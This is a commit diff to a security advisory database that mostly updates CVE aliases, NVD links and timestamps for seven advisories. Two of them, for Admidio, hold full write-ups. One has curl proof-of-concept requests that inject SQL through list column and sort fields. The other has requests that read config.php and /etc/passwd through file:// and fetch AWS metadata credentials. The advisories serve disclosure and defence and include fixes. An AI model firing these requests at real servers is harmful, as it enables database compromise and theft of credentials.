Skip to content

File tree

7 files changed

+38
-14
lines changed

7 files changed

+38
-14
lines changed

advisories/github-reviewed/2026/03/GHSA-3x67-4c2c-w45m/GHSA-3x67-4c2c-w45m.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-3x67-4c2c-w45m",
4-
"modified": "2026-03-16T21:19:09Z",
4+
"modified": "2026-03-16T21:58:08Z",
55
"published": "2026-03-16T21:19:09Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-32813"
8+
],
79
"summary": "Admidio has a Second-Order SQL Injection via List Configuration (lsc_special_field, lsc_sort, lsc_filter)",
810
"details": "## Summary\n\nThe MyList configuration feature in Admidio allows authenticated users to define custom list column layouts. User-supplied column names, sort directions, and filter conditions are stored in the `adm_list_columns` table via prepared statements (safe storage), but are later read back and interpolated directly into dynamically constructed SQL queries without sanitization or parameterization. This is a classic second-order SQL injection: safe write, unsafe read.\n\nAn attacker can inject arbitrary SQL through these stored values to read, modify, or delete any data in the database, potentially achieving full database compromise.\n\n## Details\n\n### Step 1: Storing the Payload (Safe Write)\n\nIn `modules/groups-roles/mylist_function.php` (lines 89-115), user-supplied POST array values for column names, sort directions, and filter conditions are accepted. The only validation on column values is a prefix check (must start with `usr_` or `mem_`). Sort and condition values have no validation at all. These values are stored in the database via `ListConfiguration::addColumn()` which calls `Entity::save()` using prepared statements -- so the INSERT/UPDATE is safe.\n\nKey source file references:\n- `D:\\bugcrowd\\admidio\\repo\\modules\\groups-roles\\mylist_function.php` lines 89-115\n- `D:\\bugcrowd\\admidio\\repo\\src\\Roles\\Entity\\ListConfiguration.php` lines 106-116\n\n### Step 2: Triggering the Payload (Unsafe Read)\n\nWhen the list is viewed (via `lists_show.php`), `ListConfiguration::getSql()` reads the stored values and interpolates them directly into SQL in four locations:\n\n**Injection Point 1 -- lsc_special_field in SELECT clause:**\nFile `D:\\bugcrowd\\admidio\\repo\\src\\Roles\\Entity\\ListConfiguration.php` lines 739-770.\nThe `lsc_special_field` value is read from the database and used as a column name in the SELECT clause. Only three values (`mem_duration`, `mem_begin`, `mem_end`) get special handling; all others fall through to the `default` case where the raw value is used directly as both `$dbColumnName` and `$sqlColumnName`, then interpolated into the SQL as `$dbColumnName AS $sqlColumnName`.\n\n**Injection Point 2 -- lsc_sort in ORDER BY clause:**\nFile `D:\\bugcrowd\\admidio\\repo\\src\\Roles\\Entity\\ListConfiguration.php` lines 790-792.\nThe `lsc_sort` value is appended directly after the column name in the ORDER BY clause.\n\n**Injection Point 3 -- lsc_special_field in search conditions:**\nFile `D:\\bugcrowd\\admidio\\repo\\src\\Roles\\Entity\\ListConfiguration.php` lines 611-621.\nThe `lsc_special_field` value is interpolated into COALESCE() expressions used in search WHERE conditions.\n\n**Injection Point 4 -- lsc_filter via ConditionParser:**\nFile `D:\\bugcrowd\\admidio\\repo\\src\\Roles\\ValueObject\\ConditionParser.php` line 347.\nThe ConditionParser appends raw characters from the stored filter value to the SQL string. A single quote can break out of the SQL string context.\n\n### Root Cause\n\nThe `addColumn()` method and `mylist_function.php` accept arbitrary strings for column names, sort directions, and filter conditions. The only gate for column names is a prefix check (`usr_` or `mem_`), which is trivially satisfied by an attacker (e.g., `usr_id) UNION SELECT ...`). No allowlist of valid column names exists. No server-side validation of sort values exists (should only allow ASC/DESC/empty). The frontend `<select>` element only offers ASC/DESC, but this is trivially bypassed by POSTing arbitrary values.\n\n## PoC\n\n**Prerequisites:** Logged-in user with list edit permission (default: all logged-in users).\n\n**Step 1: Save a list config with SQL injection in lsc_special_field**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/groups-roles/mylist_function.php?mode=save_temporary\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=<session>\" \\\n -d \"adm_csrf_token=<csrf_token>\" \\\n -d \"column[]=usr_login_name\" \\\n -d \"column[]=usr_id FROM adm_users)--\" \\\n -d \"sort[]=\" \\\n -d \"sort[]=\" \\\n -d \"condition[]=\" \\\n -d \"condition[]=\" \\\n -d \"sel_roles[]=<valid_role_uuid>\"\n```\n\nThe second column value `usr_id FROM adm_users)--` starts with `usr_` so it passes the prefix check. When read back in `getSql()`, it is interpolated directly as a column expression in the SQL SELECT clause.\n\n**Step 2: Sort-based injection (simpler, no prefix check needed)**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/groups-roles/mylist_function.php?mode=save_temporary\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=<session>\" \\\n -d \"adm_csrf_token=<csrf_token>\" \\\n -d \"column[]=usr_login_name\" \\\n -d \"sort[]=ASC,(SELECT+CASE+WHEN+(1=1)+THEN+1+ELSE+1/0+END)\" \\\n -d \"condition[]=\" \\\n -d \"sel_roles[]=<valid_role_uuid>\"\n```\n\nThis injects into the ORDER BY clause. The sort value has zero server-side validation.\n\n**Step 3:** The `save_temporary` mode automatically redirects to `lists_show.php` which calls `ListConfiguration::getSql()`, executing the injected SQL.\n\n## Impact\n\n- **Data Exfiltration:** An attacker can extract any data from the database including password hashes, email addresses, personal data of all members, and application configuration.\n- **Data Modification:** With stacked queries (supported by MySQL with PDO), the attacker can modify or delete data.\n- **Privilege Escalation:** Password hashes can be extracted and cracked, or admin accounts can be directly modified.\n- **Full Database Compromise:** The entire database is accessible through this vulnerability.\n\nThe attack requires authentication and CSRF token, but:\n1. Any logged-in user has this permission by default (when `groups_roles_edit_lists = 1`).\n2. The CSRF token is available in the same session.\n3. The injected payload persists in the database and triggers every time anyone views the list.\n\n## Recommended Fix\n\n### Fix 1: Allowlist for lsc_special_field\n\nAdd a strict allowlist of valid special field names before calling `addColumn()` in `mylist_function.php`. The list should match exactly the field names supported in `getSql()` and the JavaScript on `mylist.php`.\n\n### Fix 2: Validate lsc_sort values\n\nIn `ListConfiguration::addColumn()`, validate that the sort parameter is one of ASC, DESC, or empty string before storing it.\n\n### Fix 3: Defense-in-depth validation in ListConfiguration::getSql()\n\nAlso validate the `lsc_special_field` value against an allowlist in `getSql()` before interpolating it into the SQL string. This protects against payloads already stored in the database.\n\n### Fix 4: Escape filter values in ConditionParser\n\nUse parameterized queries or at minimum escape single quotes in `ConditionParser::makeSqlStatement()`.",
911
"severity": [

advisories/github-reviewed/2026/03/GHSA-4484-8v2f-5748/GHSA-4484-8v2f-5748.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-4484-8v2f-5748",
4-
"modified": "2026-03-16T18:13:15Z",
4+
"modified": "2026-03-16T21:57:50Z",
55
"published": "2026-03-16T18:13:15Z",
66
"aliases": [
77
"CVE-2026-32264"
@@ -69,6 +69,10 @@
6969
"type": "WEB",
7070
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-7jx7-3846-m7w7"
7171
},
72+
{
73+
"type": "ADVISORY",
74+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32264"
75+
},
7276
{
7377
"type": "WEB",
7478
"url": "https://github.com/craftcms/cms/commit/78d181e12e0b15e1300f54ec85f19859d3300f70"
@@ -89,6 +93,6 @@
8993
"severity": "HIGH",
9094
"github_reviewed": true,
9195
"github_reviewed_at": "2026-03-16T18:13:15Z",
92-
"nvd_published_at": null
96+
"nvd_published_at": "2026-03-16T20:16:19Z"
9397
}
9498
}

advisories/github-reviewed/2026/03/GHSA-472v-j2g4-g9h2/GHSA-472v-j2g4-g9h2.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-472v-j2g4-g9h2",
4-
"modified": "2026-03-16T18:11:49Z",
4+
"modified": "2026-03-16T21:57:24Z",
55
"published": "2026-03-16T18:11:49Z",
66
"aliases": [
77
"CVE-2026-32262"
@@ -65,6 +65,10 @@
6565
"type": "WEB",
6666
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-472v-j2g4-g9h2"
6767
},
68+
{
69+
"type": "ADVISORY",
70+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32262"
71+
},
6872
{
6973
"type": "WEB",
7074
"url": "https://github.com/craftcms/cms/commit/c997efbe4c66c14092714233aeebff15cdbfcf11"
@@ -81,6 +85,6 @@
8185
"severity": "MODERATE",
8286
"github_reviewed": true,
8387
"github_reviewed_at": "2026-03-16T18:11:49Z",
84-
"nvd_published_at": null
88+
"nvd_published_at": "2026-03-16T20:16:19Z"
8589
}
8690
}

advisories/github-reviewed/2026/03/GHSA-6j68-gcc3-mq73/GHSA-6j68-gcc3-mq73.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-6j68-gcc3-mq73",
4-
"modified": "2026-03-16T21:17:57Z",
4+
"modified": "2026-03-16T21:57:59Z",
55
"published": "2026-03-16T21:17:57Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-32812"
8+
],
79
"summary": "Admidio Vulnerable to SSRF and Local File Read via Unrestricted URL Fetch in SSO Metadata Endpoint",
810
"details": "## Summary\n\nThe SSO metadata fetch endpoint at `modules/sso/fetch_metadata.php` accepts an arbitrary URL via `$_GET['url']`, validates it only with PHP's `FILTER_VALIDATE_URL`, and passes it directly to `file_get_contents()`. `FILTER_VALIDATE_URL` accepts `file://`, `http://`, `ftp://`, `data://`, and `php://` scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the `file://` wrapper (Local File Read), reach internal services via `http://` (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.\n\n## Details\n\n### Vulnerable Code\n\nFile: `D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php`, lines 9-34\n\n```php\n$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);\nif (!$url) {\n http_response_code(400);\n echo \"Invalid URL\";\n exit;\n}\n\n// Fetch metadata from external server\n$metadata = file_get_contents($url);\nif ($metadata === false) {\n http_response_code(500);\n echo \"Failed to fetch metadata\";\n exit;\n}\n\necho $metadata;\n```\n\n### FILTER_VALIDATE_URL Does Not Block Dangerous Schemes\n\nPHP's `FILTER_VALIDATE_URL` is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by `file_get_contents()`:\n\n| Scheme | Impact |\n|--------|--------|\n| `file:///etc/passwd` | Read any local file the web server process can access |\n| `http://127.0.0.1/` | SSRF to localhost services (databases, admin panels, internal APIs) |\n| `http://169.254.169.254/latest/meta-data/` | AWS EC2 instance metadata (IAM credentials) |\n| `data://text/plain,payload` | Data URI content injection |\n\nConfirmed by testing PHP's filter_var() and file_get_contents() with all of the above:\n\n```\nphp -r \"var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));\"\n// string(18) \"file:///etc/passwd\" <-- passes validation\n\nphp -r \"echo file_get_contents('file:///etc/passwd');\"\n// root:x:0:0:root:/root:/bin/bash <-- file contents returned\n```\n\n### file:// Does Not Require allow_url_fopen\n\nPHP's `file://` stream wrapper is the native filesystem handler and is always available regardless of the `allow_url_fopen` INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.\n\n### Response Is Returned Verbatim\n\nThe fetched content is echoed directly at line 34 (`echo $metadata`), making the complete contents of any readable local file or internal service response available to the caller.\n\n## PoC\n\n**Prerequisites:** Administrator account session cookie and CSRF token.\n\n**Step 1: Read the Admidio database configuration file**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=<admin_session>\" \\\n --data-urlencode \"url=file:///var/www/html/adm_my_files/config.php\"\n```\n\nExpected response: Full contents of config.php including the database host, username, and password in plaintext.\n\n**Step 2: Read system password file**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=<admin_session>\" \\\n --data-urlencode \"url=file:///etc/passwd\"\n```\n\n**Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=<admin_session>\" \\\n --data-urlencode \"url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\nExpected response: IAM role name followed by temporary AWS access key and secret.\n\n**Step 4: SSRF to an internal service on localhost**\n\n```\ncurl -G \"https://TARGET/adm_program/modules/sso/fetch_metadata.php\" \\\n -H \"Cookie: ADMIDIO_SESSION_ID=<admin_session>\" \\\n --data-urlencode \"url=http://127.0.0.1:6379/\"\n```\n\n(Probes a Redis instance on localhost.)\n\n## Impact\n\n- **Local File Read:** The attacker can read any file accessible to the PHP web server process, including Admidio's `config.php` (database credentials), `/etc/passwd`, private keys stored in the web root, and `.env` files.\n- **Database Credential Theft:** Reading `config.php` exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.\n- **Cloud Metadata Exposure:** On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access.\n- **Internal Network Reconnaissance:** The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible.\n- **Scope Change:** Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score.\n\n## Recommended Fix\n\n### Fix 1: Restrict to HTTPS scheme and block internal IP ranges\n\n```php\n$rawUrl = $_GET['url'] ?? '';\n\n// Only allow https:// scheme\nif (\\!preg_match('#^https://#i', $rawUrl)) {\n http_response_code(400);\n echo \"Only HTTPS URLs are permitted\";\n exit;\n}\n\n$url = filter_var($rawUrl, FILTER_VALIDATE_URL);\nif (\\!$url) {\n http_response_code(400);\n echo \"Invalid URL\";\n exit;\n}\n\n// Resolve hostname and block internal/private IP ranges\n$host = parse_url($url, PHP_URL_HOST);\n$ip = gethostbyname($host);\nif (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {\n http_response_code(400);\n echo \"URL resolves to a private or reserved IP address\";\n exit;\n}\n\n$metadata = file_get_contents($url);\n```\n\n### Fix 2: Use cURL with explicit scheme restriction\n\n```php\n$ch = curl_init($url);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\ncurl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);\ncurl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);\ncurl_setopt($ch, CURLOPT_TIMEOUT, 10);\n$metadata = curl_exec($ch);\ncurl_close($ch);\n```\n\nNote: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.",
911
"severity": [

advisories/github-reviewed/2026/03/GHSA-8wg7-wm29-2rvg/GHSA-8wg7-wm29-2rvg.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-8wg7-wm29-2rvg",
4-
"modified": "2026-03-16T18:11:23Z",
4+
"modified": "2026-03-16T21:57:13Z",
55
"published": "2026-03-16T18:11:23Z",
66
"aliases": [
77
"CVE-2026-32261"
@@ -40,6 +40,10 @@
4040
"type": "WEB",
4141
"url": "https://github.com/craftcms/webhooks/security/advisories/GHSA-8wg7-wm29-2rvg"
4242
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32261"
46+
},
4347
{
4448
"type": "WEB",
4549
"url": "https://github.com/craftcms/webhooks/commit/88344991a68b07145567c46dfd0ae3328c521f62"
@@ -56,6 +60,6 @@
5660
"severity": "HIGH",
5761
"github_reviewed": true,
5862
"github_reviewed_at": "2026-03-16T18:11:23Z",
59-
"nvd_published_at": null
63+
"nvd_published_at": "2026-03-16T19:16:17Z"
6064
}
6165
}

advisories/github-reviewed/2026/03/GHSA-cc7p-2j3x-x7xf/GHSA-cc7p-2j3x-x7xf.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-cc7p-2j3x-x7xf",
4-
"modified": "2026-03-16T18:44:20Z",
4+
"modified": "2026-03-16T21:57:43Z",
55
"published": "2026-03-16T18:44:20Z",
66
"aliases": [
77
"CVE-2026-32267"
@@ -65,6 +65,10 @@
6565
"type": "WEB",
6666
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-cc7p-2j3x-x7xf"
6767
},
68+
{
69+
"type": "ADVISORY",
70+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32267"
71+
},
6872
{
6973
"type": "WEB",
7074
"url": "https://github.com/craftcms/cms/commit/6301e217c5f15617d939c432cb770db50af14b33"
@@ -81,6 +85,6 @@
8185
"severity": "CRITICAL",
8286
"github_reviewed": true,
8387
"github_reviewed_at": "2026-03-16T18:44:20Z",
84-
"nvd_published_at": null
88+
"nvd_published_at": "2026-03-16T20:16:19Z"
8589
}
8690
}

advisories/github-reviewed/2026/03/GHSA-qx2q-q59v-wf3j/GHSA-qx2q-q59v-wf3j.json

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-qx2q-q59v-wf3j",
4-
"modified": "2026-03-16T18:12:32Z",
4+
"modified": "2026-03-16T21:57:33Z",
55
"published": "2026-03-16T18:12:32Z",
66
"aliases": [
77
"CVE-2026-32263"
@@ -47,6 +47,10 @@
4747
"type": "WEB",
4848
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-qx2q-q59v-wf3j"
4949
},
50+
{
51+
"type": "ADVISORY",
52+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32263"
53+
},
5054
{
5155
"type": "WEB",
5256
"url": "https://github.com/craftcms/cms/commit/d37389dbffafa565143be40a2ab1e1db22a863f7"
@@ -63,6 +67,6 @@
6367
"severity": "HIGH",
6468
"github_reviewed": true,
6569
"github_reviewed_at": "2026-03-16T18:12:32Z",
66-
"nvd_published_at": null
70+
"nvd_published_at": "2026-03-16T20:16:19Z"
6771
}
6872
}

0 commit comments

Comments
 (0)